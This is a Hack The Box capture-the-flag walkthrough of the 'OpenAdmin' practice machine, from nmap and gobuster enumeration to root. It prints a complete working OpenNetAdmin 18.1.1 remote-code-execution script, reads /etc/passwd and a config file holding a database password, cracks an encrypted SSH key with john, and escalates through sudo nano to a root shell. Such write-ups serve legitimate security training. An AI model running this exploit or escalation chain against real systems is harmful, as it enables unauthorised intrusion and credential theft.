OpenAdmin Walkthrough!

OpenAdmin Walkthrough

Enumeration

nmap

# Nmap 7.80 scan initiated Fri Apr 24 18:56:13 2020 as: nmap -sC -sV -oA openadmin 10.10.10.171
Nmap scan report for 10.10.10.171
Host is up (0.69s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp   open  http       Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8000/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Apr 24 18:58:43 2020 -- 1 IP address (1 host up) scanned in 150.61 seconds

The nmap scan has shown that both a webpage and ssh are open. I’m guessing the box wants us to find something on the website to allow us to ssh into a user.

gobuster

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.171
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/04/29 20:24:10 Starting gobuster
===============================================================
/music (Status: 301)
/artwork (Status: 301)
/sierra (Status: 301)
/server-status (Status: 403)
===============================================================
2020/04/29 20:37:11 Finished
===============================================================

Upon visiting the page we see the default Apache2 page Apache2 Ubuntu default page

Upon navigating to http://10.10.10.171/music we get to the website advertising a music streaming service navigated to /music

clicking around on the page, clicking on login takes me to a strange redirect. redirect after clicking login

Exploit

# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux

#!/bin/bash

URL="${1}"
while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

I ran this exploit against the box by copying the code to a file (I called mine exploit.sh), making it executable by doing:

chmod +x exploit.sh

and then executing it using:

bash exploit.sh http://10.10.10.171/ona/

this gives us a shell as www-data

$ whoami
www-data
$ ls -la
total 72
drwxrwxr-x 10 www-data www-data 4096 Nov 22 17:17 .
drwxr-x---  7 www-data www-data 4096 Nov 21 18:23 ..
-rw-rw-r--  1 www-data www-data 1970 Jan  3  2018 .htaccess.example
drwxrwxr-x  2 www-data www-data 4096 Jan  3  2018 config
-rw-rw-r--  1 www-data www-data 1949 Jan  3  2018 config_dnld.php
-rw-rw-r--  1 www-data www-data 4160 Jan  3  2018 dcm.php
drwxrwxr-x  3 www-data www-data 4096 Jan  3  2018 images
drwxrwxr-x  9 www-data www-data 4096 Jan  3  2018 include
-rw-rw-r--  1 www-data www-data 1999 Jan  3  2018 index.php
drwxrwxr-x  5 www-data www-data 4096 Jan  3  2018 local
-rw-rw-r--  1 www-data www-data 4526 Jan  3  2018 login.php
-rw-rw-r--  1 www-data www-data 1106 Jan  3  2018 logout.php
drwxrwxr-x  3 www-data www-data 4096 Jan  3  2018 modules
drwxrwxr-x  3 www-data www-data 4096 Jan  3  2018 plugins
drwxrwxr-x  2 www-data www-data 4096 Jan  3  2018 winc
drwxrwxr-x  3 www-data www-data 4096 Jan  3  2018 workspace_plugins

User Enumeration

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
joanna:x:1001:1001:,,,:/home/joanna:/bin/bash

Things to note from this are the Jimmy and Joanna users we are going to want to pivot onto. This means we are going to need to find some credentials.

$ find / -type f -user www-data

this dumps a very long list of files which the user www-data can read. I chose to copy this into a text file so i can go through it. (I won’t inlcude it here since its 2000 lines long).

the most interesting directory I found was /opt/ona/www/local/config Within this directory i saw the file database_settings.inc.php

$ cat /opt/ona/www/local/config/database_settings.inc.php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

upon opening the file we get our first password. From /ect/passwd we can see mysql is set to bin/false so I won’t try to login to that.

User 1 (Jimmy)

Using ssh I was able to connect to Jimmys account using jimmy:n1nj4W4rri0R!

ssh jimmy@10.10.10.171
jimmy@10.10.10.171's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Apr 29 20:34:36 UTC 2020

  System load:  0.07              Processes:             141
  Usage of /:   49.6% of 7.81GB   Users logged in:       2
  Memory usage: 28%               IP address for ens160: 10.10.10.171
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

41 packages can be updated.
12 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Apr 29 20:29:04 2020 from 10.10.15.0
jimmy@openadmin:~$ 

again im going to enumerate all the files i can now read as Jimmy using find / -type f -user jimmy 2>/dev/null | grep -v "/proc/".

This shows three interesting files:

...
/var/www/internal/main.php
/var/www/internal/logout.php
/var/www/internal/index.php
...

inside the index.php file we find more credentials

$msg = '';

if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
  if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
      $_SESSION['username'] = 'jimmy';
      header("Location: /main.php");
  } else {
      $msg = 'Wrong username or password.';
  }
}

Analysing this hash we see its sha512. 00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1

After running this through john, i wasn’t able to get a password so maybe there’s another way to do this.

looking at main.php, I see if we can somehow access this page, we get Joanna’s ssh key.

jimmy@openadmin:~$ cat /var/www/internal/main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

doing netstat -tulv shows port 52846 is listening. the -t & -u mean we are specifying tcp and upd, the -l shows us only addresses which are listening, and finally the -v stands for verbose so we get as much information about them as possible.

jimmy@openadmin:~$ netstat -tulv
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 localhost:mysql         0.0.0.0:*               LISTEN     
tcp        0      0 localhost:52846         0.0.0.0:*               LISTEN     
tcp        0      0 localhost:domain        0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN     
tcp6       0      0 [::]:http               [::]:*                  LISTEN     
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN     
udp        0      0 localhost:domain        0.0.0.0:*                          
jimmy@openadmin:~$ 

doing curl 127.0.0.1:52846 gave me the login page (without the exposted credentials again)

however, if i do curl 127.0.0.1:52846/main.php we get Joanna’s ssh key

jimmy@openadmin:~$ curl 127.0.0.1:52846/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
jimmy@openadmin:~$ 

As this is encrypted, we are going have to decrypt it. First i used installed ssh2john

sudo apt-get install ssh2john
/usr/share/john/ssh2john.py id_rsa.hash > crack.hash
john --wordlist=/usr/share/wordlists/rockyou.txt crack.hash

then ran john against the hash.

Using default input encoding: UTF-8                                                                                        
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])        
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads                                                                                                  
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.                                                                                              
Press 'q' or Ctrl-C to abort, almost any other key for status 
bloodninjas      (id_rsa.hash)                                                                                             
Warning: Only 2 candidates left, minimum 4 needed for performance.                         
1g 0:00:00:02 DONE (2020-04-29 22:18) 0.3759g/s 5391Kp/s 5391Kc/s 5391KC/sa6_123..*7¡Vamos!
Session completed

we now have the login for joanna.

User 2 (Joanna)

kali@kali:~/HackTheBox/openadmin/keys$ ssh -i joanna joanna@10.10.10.171
Enter passphrase for key 'joanna': 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Apr 29 21:28:16 UTC 2020

  System load:  0.05              Processes:             155
  Usage of /:   50.2% of 7.81GB   Users logged in:       2
  Memory usage: 31%               IP address for ens160: 10.10.10.171
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

41 packages can be updated.
12 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Apr 29 21:21:22 2020 from 10.10.15.226
joanna@openadmin:~$ 

The user flag for this box is found in her directory so we can have a look at that now

joanna@openadmin:~$ wc -c user.txt 
33 user.txt
joanna@openadmin:~$ 

Root.txt

To escalate up to root we can start by seeing if there are any root commands we can execure from joanna

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv
joanna@openadmin:~$ 

As we can see, nano can be run as root.

to open nano as root i did sudo -u root nano /opt/priv. I then did ctrl + R to read from a file. and there i was able to read root.txt.

Alternativly you can do ctrl + r ctrl + x to execute a command as root. to get a shell i executed reset; sh 1>&0 2>&0 and was then able to see the root file after navigating my shell to root.

# ls
root.txt
# wc -c root.txt
33 root.txt
#